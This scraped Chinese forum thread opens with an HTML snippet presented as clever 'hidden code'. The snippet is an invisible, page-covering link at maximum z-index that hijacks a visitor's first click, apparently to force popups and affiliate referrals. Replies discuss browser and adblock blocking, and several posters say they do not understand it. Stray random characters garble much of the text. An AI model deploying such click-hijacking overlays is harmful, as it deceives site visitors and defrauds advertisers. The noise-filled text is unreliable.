<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>

: Q4 E. o+ n  i8 w" `/ V很隐秘的一段好代码
* t5 c& [/ b4 E, T: W

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂

/ l) l) P5 [) H6 T& Q+ U1，首次访问有个弹窗，但是被chrome给拦截了

: C: G) E2 X2 g2，劫持了第一次点击
+ Q+ v3 c+ a3 p, |- T/ s5 \/ @4 ?
6 C( n$ R2 ~( t7 j3，CS了一下unionsky
* D- I9 Y5 o% q8 a$ F) ^4 l3 _
; i' l. Z& D. h" r" i, {# C然后？

小狠

cissss 发表于 2013-12-18 01:24
. S1 w2 _+ h- c3 M, Z6 e没懂

1，首次访问有个弹窗，但是被chrome给拦截了

8 j. Q0 L) ]2 b$ G1 k懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
! d5 X4 R! P$ t% L# a懂的人一看就懂 不懂的人怎么看就不懂

我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思